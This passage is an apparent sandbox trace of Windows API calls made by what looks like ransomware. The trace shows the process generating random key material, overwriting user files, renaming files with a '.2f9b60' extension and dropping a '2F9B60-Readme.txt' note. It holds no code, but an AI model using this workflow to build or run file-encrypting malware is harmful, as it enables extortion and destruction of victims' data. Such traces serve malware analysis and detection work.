_Format="%c%c" | out: _Dest="de") returned 2 [0202.791] sprintf (in: _Dest=0x1b7cea38, _Format="%c%c" | out: _Dest="0c") returned 2 [0202.791] sprintf (in: _Dest=0x1b7cea3a, _Format="%c%c" | out: _Dest="e1") returned 2 [0202.791] sprintf (in: _Dest=0x1b7cea3c, _Format="%c%c" | out: _Dest="bd") returned 2 [0202.792] sprintf (in: _Dest=0x1b7cea3e, _Format="%c%c" | out: _Dest="bf") returned 2 [0202.792] sprintf (in: _Dest=0x1b7cea40, _Format="%c%c" | out: _Dest="c5") returned 2 [0202.792] sprintf (in: _Dest=0x1b7cea42, _Format="%c%c" | out: _Dest="27") returned 2 [0202.792] sprintf (in: _Dest=0x1b7cea44, _Format="%c%c" | out: _Dest="94") returned 2 [0202.792] sprintf (in: _Dest=0x1b7cea46, _Format="%c%c" | out: _Dest="37") returned 2 [0202.792] sprintf (in: _Dest=0x1b7cea48, _Format="%c%c" | out: _Dest="8d") returned 2 [0202.792] sprintf (in: _Dest=0x1b7cea4a, _Format="%c%c" | out: _Dest="78") returned 2 [0202.792] RtlInitAnsiString (in: DestinationString=0x2ec5fca8, SourceString="24164ee103b8fdbae64b509de1b7a4d941dead8930fe243a38a6c6de0ce1bdbfc52794378d78" | out: DestinationString="24164ee103b8fdbae64b509de1b7a4d941dead8930fe243a38a6c6de0ce1bdbfc52794378d78") [0202.792] RtlAnsiStringToUnicodeString (in: DestinationString=0x2ec5fc78, SourceString="24164ee103b8fdbae64b509de1b7a4d941dead8930fe243a38a6c6de0ce1bdbfc52794378d78", AllocateDestinationString=1 | out: DestinationString="24164ee103b8fdbae64b509de1b7a4d941dead8930fe243a38a6c6de0ce1bdbfc52794378d78") returned 0x0 [0202.792] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1cec0ef0 [0202.793] wcscat (in: _Dest=0x1cec0e40, _Source="24164ee103b8fdbae64" | out: _Dest="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\24164ee103b8fdbae64") returned="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\24164ee103b8fdbae64" [0202.793] wcscat (in: _Dest=0x1cec0e40, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\24164ee103b8fdbae64.2f9b60") returned="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\24164ee103b8fdbae64.2f9b60" [0202.793] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\24164ee103b8fdbae64.2f9b60", NtPathName=0x2ec5fc50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\24164ee103b8fdbae64.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0202.793] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xbe) returned 0x4310b830 [0206.375] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4310b830) returned 1 [0206.375] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4321d510) returned 1 [0206.375] NtQueryInformationFile (in: FileHandle=0x1f00, IoStatusBlock=0x2ec5fcb8, FileInformation=0x2ec5fcc8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2ec5fcb8, FileInformation=0x2ec5fcc8) returned 0x0 [0206.375] NtSetInformationFile (FileHandle=0x1f00, IoStatusBlock=0x2ec5fcb8, FileInformation=0x2ec5fcc8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0209.570] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec0e40) returned 1 [0209.571] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec0ef0) returned 1 [0209.571] FlushFileBuffers (hFile=0x1f00) returned 1 [0212.751] CloseHandle (hObject=0x1f00) returned 1 [0215.685] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x43188200 [0215.685] wcscpy (in: _Dest=0x43188200, _Source="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\") returned="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\" [0215.685] wcscat (in: _Dest=0x43188200, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\2F9B60-Readme.txt") returned="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\2F9B60-Readme.txt" [0215.685] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\2F9B60-Readme.txt" (normalized: "c:\\programdata\\microsoft\\assistance\\client\\1.0\\en-us\\2f9b60-readme.txt")) returned 0xffffffff [0215.685] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\2F9B60-Readme.txt" (normalized: "c:\\programdata\\microsoft\\assistance\\client\\1.0\\en-us\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cb4 [0218.154] WriteFile (in: hFile=0x1cb4, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x2ec5fb70, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x2ec5fb70*=0xba9, lpOverlapped=0x0) returned 1 [0222.508] CloseHandle (hObject=0x1cb4) returned 1 [0224.748] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43188200) returned 1 [0224.748] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20508c70) returned 1 [0224.749] FindNextFileW (in: hFindFile=0x1b858b50, lpFindFileData=0x1ce59140 | out: lpFindFileData=0x1ce59140*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x24534c56, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae2660aa, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae2660aa, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x365fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help_MKWD_AssetId.H1W", cAlternateFileName="HELP_M~1.H1W")) returned 1 [0224.749] wcscmp (_String1="Help_MKWD_AssetId.H1W", _String2=".") returned 1 [0224.749] wcscmp (_String1="Help_MKWD_AssetId.H1W", _String2="..") returned 1 [0224.749] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x20508c70 [0224.749] wcscpy (in: _Dest=0x20508c70, _Source="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US" | out: _Dest="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US") returned="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US" [0224.749] wcscat (in: _Dest=0x20508c70, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\") returned="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\" [0224.749] wcscat (in: _Dest=0x20508c70, _Source="Help_MKWD_AssetId.H1W" | out: _Dest="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MKWD_AssetId.H1W") returned="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MKWD_AssetId.H1W" [0226.746] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20508c70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c50 [0226.791] FindNextFileW (in: hFindFile=0x1b858b50, lpFindFileData=0x1ce59140 | out: lpFindFileData=0x1ce59140*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x24534c56, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae409b6f, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae409b6f, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x325ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help_MKWD_BestBet.H1W", cAlternateFileName="HELP_M~2.H1W")) returned 1 [0226.791] wcscmp (_String1="Help_MKWD_BestBet.H1W", _String2=".") returned 1 [0226.791] wcscmp (_String1="Help_MKWD_BestBet.H1W", _String2="..") returned 1 [0226.791] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x4205c650 [0226.791] wcscpy (in: _Dest=0x4205c650, _Source="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US" | out: _Dest="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US") returned="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US" [0226.791] wcscat (in: _Dest=0x4205c650, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\") returned="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\" [0226.791] wcscat (in: _Dest=0x4205c650, _Source="Help_MKWD_BestBet.H1W" | out: _Dest="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MKWD_BestBet.H1W") returned="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MKWD_BestBet.H1W" [0226.791] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205c650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d1c [0226.915] FindNextFileW (in: hFindFile=0x1b858b50, lpFindFileData=0x1ce59140 | out: lpFindFileData=0x1ce59140*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x24534c56, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae45604d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x79f1a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help_MTOC_help.H1H", cAlternateFileName="HELP_M~1.H1H")) returned 1 [0226.915] wcscmp (_String1="Help_MTOC_help.H1H", _String2=".") returned 1 [0226.915] wcscmp (_String1="Help_MTOC_help.H1H", _String2="..") returned 1 [0226.915] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x4318aae0 [0226.915] wcscpy (in: _Dest=0x4318aae0, _Source="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US" | out: _Dest="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US") returned="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US" [0226.916] wcscat (in: _Dest=0x4318aae0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\") returned="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\" [0226.916] wcscat (in: _Dest=0x4318aae0, _Source="Help_MTOC_help.H1H" | out: _Dest="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MTOC_help.H1H") returned="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MTOC_help.H1H" [0226.916] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4318aae0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f9c [0226.922] FindNextFileW (in: hFindFile=0x1b858b50, lpFindFileData=0x1ce59140 | out: lpFindFileData=0x1ce59140*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x26353250, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae45604d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x3944, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help_MValidator.H1D", cAlternateFileName="HELP_M~1.H1D")) returned 1 [0226.922] wcscmp (_String1="Help_MValidator.H1D", _String2=".") returned 1 [0226.922] wcscmp (_String1="Help_MValidator.H1D", _String2="..") returned 1 [0226.922] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x4318a860 [0226.922] wcscpy (in: _Dest=0x4318a860, _Source="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US" | out: _Dest="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US") returned="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US" [0226.922] wcscat (in: _Dest=0x4318a860, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\") returned="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\" [0226.923] wcscat (in: _Dest=0x4318a860, _Source="Help_MValidator.H1D" | out: _Dest="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MValidator.H1D") returned="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MValidator.H1D" [0226.923] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4318a860, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb44 [0227.033] FindNextFileW (in: hFindFile=0x1b858b50, lpFindFileData=0x1ce59140 | out: lpFindFileData=0x1ce59140*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x24534c56, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae45604d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help_MValidator.Lck", cAlternateFileName="HELP_M~1.LCK")) returned 1 [0227.033] wcscmp (_String1="Help_MValidator.Lck", _String2=".") returned 1 [0227.033] wcscmp (_String1="Help_MValidator.Lck", _String2="..") returned 1 [0227.033] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x431c5da0 [0227.033] wcscpy (in: _Dest=0x431c5da0, _Source="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US" | out: _Dest="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US") returned="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US" [0227.033] wcscat (in: _Dest=0x431c5da0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\") returned="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\" [0227.033] wcscat (in: _Dest=0x431c5da0, _Source="Help_MValidator.Lck" | out: _Dest="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MValidator.Lck") returned="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MValidator.Lck" [0227.033] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431c5da0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14f4 [0227.076] FindNextFileW (in: hFindFile=0x1b858b50, lpFindFileData=0x1ce59140 | out: lpFindFileData=0x1ce59140*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x249fa376, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae0e8854, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae0e8854, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0xd5310, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q", cAlternateFileName="HELP{9~1.H1Q")) returned 1 [0227.076] wcscmp (_String1="Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q", _String2=".") returned 1 [0227.076] wcscmp (_String1="Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q", _String2="..") returned 1 [0227.076] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc8) returned 0x1183a0 [0227.076] wcscpy (in: _Dest=0x1183a0, _Source="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US" | out: _Dest="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US") returned="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US" [0227.076] wcscat (in: _Dest=0x1183a0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\") returned="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\" [0227.076] wcscat (in: _Dest=0x1183a0, _Source="Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q" | out: _Dest="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q") returned="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q" [0227.076] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1183a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x928 [0227.083] FindNextFileW (in: hFindFile=0x1b858b50, lpFindFileData=0x1ce59140 | out: lpFindFileData=0x1ce59140*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x249fa376, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae0e8854, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae0e8854, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0xd5310, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q", cAlternateFileName="HELP{9~1.H1Q")) returned 0 [0227.083] FindClose (in: hFindFile=0x1b858b50 | out: hFindFile=0x1b858b50) returned 1 [0227.084] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59140) returned 1 [0227.085] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e390) returned 1 [0227.085] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85eb10) returned 1 Thread: id = 1933 os_tid = 0x10fc [0134.387] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\get windows live.url")) returned 0x20 [0134.408] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url", dwFileAttributes=0x20) returned 1 [0134.410] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\get windows live.url"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1c0c [0134.411] GetFileSizeEx (in: hFile=0x1c0c, lpFileSize=0x2ed4fd80 | out: lpFileSize=0x2ed4fd80*=133) returned 1 [0134.411] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202674d0 [0134.411] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267500 [0134.411] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267530 [0134.411] NtQuerySystemTime (in: CurrentTime=0x2ed4fc40 | out: CurrentTime=0x2ed4fc40*=132462177396586000) returned 0x0 [0134.411] RtlRandomEx (in: Seed=0x2ed4fc30 | out: Seed=0x2ed4fc30) returned 0x1eae29d6 [0134.411] RtlRandomEx (in: Seed=0x2ed4fc30 | out: Seed=0x2ed4fc30) returned 0x470ba61e [0134.411] RtlRandomEx (in: Seed=0x2ed4fc30 | out: Seed=0x2ed4fc30) returned 0x37522061 [0134.411] RtlRandomEx (in: Seed=0x2ed4fc30 | out: Seed=0x2ed4fc30) returned 0x7104f54a [0134.411] RtlRandomEx (in: Seed=0x2ed4fc30 | out: Seed=0x2ed4fc30) returned 0x748bdf2 [0134.411] RtlRandomEx (in: Seed=0x2ed4fc30 | out: Seed=0x2ed4fc30) returned 0x2781ffb8 [0134.411] RtlRandomEx (in: Seed=0x2ed4fc30 | out: Seed=0x2ed4fc30) returned 0x722519ef [0134.411] RtlRandomEx (in: Seed=0x2ed4fc30 | out: Seed=0x2ed4fc30) returned 0xa01457e [0134.411] RtlRandomEx (in: Seed=0x2ed4fc30 | out: Seed=0x2ed4fc30) returned 0x59919c8c [0134.411] RtlRandomEx (in: Seed=0x2ed4fc30 | out: Seed=0x2ed4fc30) returned 0x1d0db98e [0134.412] RtlRandomEx (in: Seed=0x2ed4fc30 | out: Seed=0x2ed4fc30) returned 0x64f7ff4a [0134.412] RtlRandomEx (in: Seed=0x2ed4fc30 | out: Seed=0x2ed4fc30) returned 0x1ee8d573 [0134.412] RtlRandomEx (in: Seed=0x2ed4fc30 | out: Seed=0x2ed4fc30) returned 0x49870a32 [0134.412] RtlRandomEx (in: Seed=0x2ed4fc30 | out: Seed=0x2ed4fc30) returned 0x402b79c0 [0134.412] RtlRandomEx (in: Seed=0x2ed4fc30 | out: Seed=0x2ed4fc30) returned 0x74c69961 [0134.412] RtlRandomEx (in: Seed=0x2ed4fc30 | out: Seed=0x2ed4fc30) returned 0x4eb6726c [0134.412] RtlRandomEx (in: Seed=0x2ed4fc30 | out: Seed=0x2ed4fc30) returned 0x4ee266ab [0134.412] RtlRandomEx (in: Seed=0x2ed4fc30 | out: Seed=0x2ed4fc30) returned 0xfb6c066 [0134.412] RtlRandomEx (in: Seed=0x2ed4fc30 | out: Seed=0x2ed4fc30) returned 0x162a6423 [0134.412] RtlRandomEx (in: Seed=0x2ed4fc30 | out: Seed=0x2ed4fc30) returned 0x15d4b2a3 [0134.412] RtlRandomEx (in: Seed=0x2ed4fc30 | out: Seed=0x2ed4fc30) returned 0x7d032035 [0134.412] RtlRandomEx (in: Seed=0x2ed4fc30 | out: Seed=0x2ed4fc30) returned 0x2b364673 [0134.412] RtlRandomEx (in: Seed=0x2ed4fc30 | out: Seed=0x2ed4fc30) returned 0x154efda5 [0134.412] RtlRandomEx (in: Seed=0x2ed4fc30 | out: Seed=0x2ed4fc30) returned 0x7e62cb02 [0134.412] RtlRandomEx (in: Seed=0x2ed4fc30 | out: Seed=0x2ed4fc30) returned 0x18cc6066 [0134.412] RtlRandomEx (in: Seed=0x2ed4fc30 | out: Seed=0x2ed4fc30) returned 0x6ff59269 [0134.412] RtlRandomEx (in: Seed=0x2ed4fc30 | out: Seed=0x2ed4fc30) returned 0x66900c81 [0134.412] RtlRandomEx (in: Seed=0x2ed4fc30 | out: Seed=0x2ed4fc30) returned 0x52c790e6 [0134.412] RtlRandomEx (in: Seed=0x2ed4fc30 | out: Seed=0x2ed4fc30) returned 0x30b12df5 [0134.412] RtlRandomEx (in: Seed=0x2ed4fc30 | out: Seed=0x2ed4fc30) returned 0x138ac483 [0134.412] RtlRandomEx (in: Seed=0x2ed4fc30 | out: Seed=0x2ed4fc30) returned 0x6d1624e7 [0134.412] RtlRandomEx (in: Seed=0x2ed4fc30 | out: Seed=0x2ed4fc30) returned 0x53a0fda9 [0134.423] ReadFile (in: hFile=0x1c0c, lpBuffer=0x41cae130, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x2ed4fc30, lpOverlapped=0x0 | out: lpBuffer=0x41cae130*, lpNumberOfBytesRead=0x2ed4fc30*=0x85, lpOverlapped=0x0) returned 1 [0134.424] SetFilePointerEx (in: hFile=0x1c0c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.424] WriteFile (hFile=0x1c0c, lpBuffer=0x41cb1d40, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x2ed4fc34, lpOverlapped=0x0) [0180.017] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb0b00 [0180.017] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8070 [0180.018] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8070) returned 1 [0180.018] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41cb1d40) returned 1 [0180.018] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41cae130) returned 1 [0180.018] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f390) returned 1 [0180.019] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97b20) returned 1 [0180.019] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1cd9f4f0 [0180.019] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97b20 [0180.019] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f390 [0180.020] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8070 [0180.020] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8070) returned 1 [0180.020] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1cda0830 [0180.021] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8070 [0180.021] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced74d0 [0180.021] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced74d0) returned 1 [0180.022] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f390) returned 1 [0180.022] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97b20) returned 1 [0180.022] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x11a) returned 0x42c21390 [0180.022] SetFilePointerEx (in: hFile=0x1c0c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0180.023] WriteFile (in: hFile=0x1c0c, lpBuffer=0x42c21390*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x2ed4fd50, lpOverlapped=0x0 | out: lpBuffer=0x42c21390*, lpNumberOfBytesWritten=0x2ed4fd50*=0x11a, lpOverlapped=0x0) returned 1 [0188.200] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97530 [0188.201] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503f10 [0188.201] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267c80 [0188.202] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267c80) returned 1 [0188.202] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x20267c80 [0188.202] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267bc0 [0188.202] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267d10 [0188.203] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267d10) returned 1 [0188.203] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503f10) returned 1 [0188.204] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97530) returned 1 [0188.204] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x51) returned 0x1cd86250 [0188.204] sprintf (in: _Dest=0x1cd86250, _Format="%c%c" | out: _Dest="16") returned 2 [0188.204] sprintf (in: _Dest=0x1cd86252, _Format="%c%c" | out: _Dest="2e") returned 2 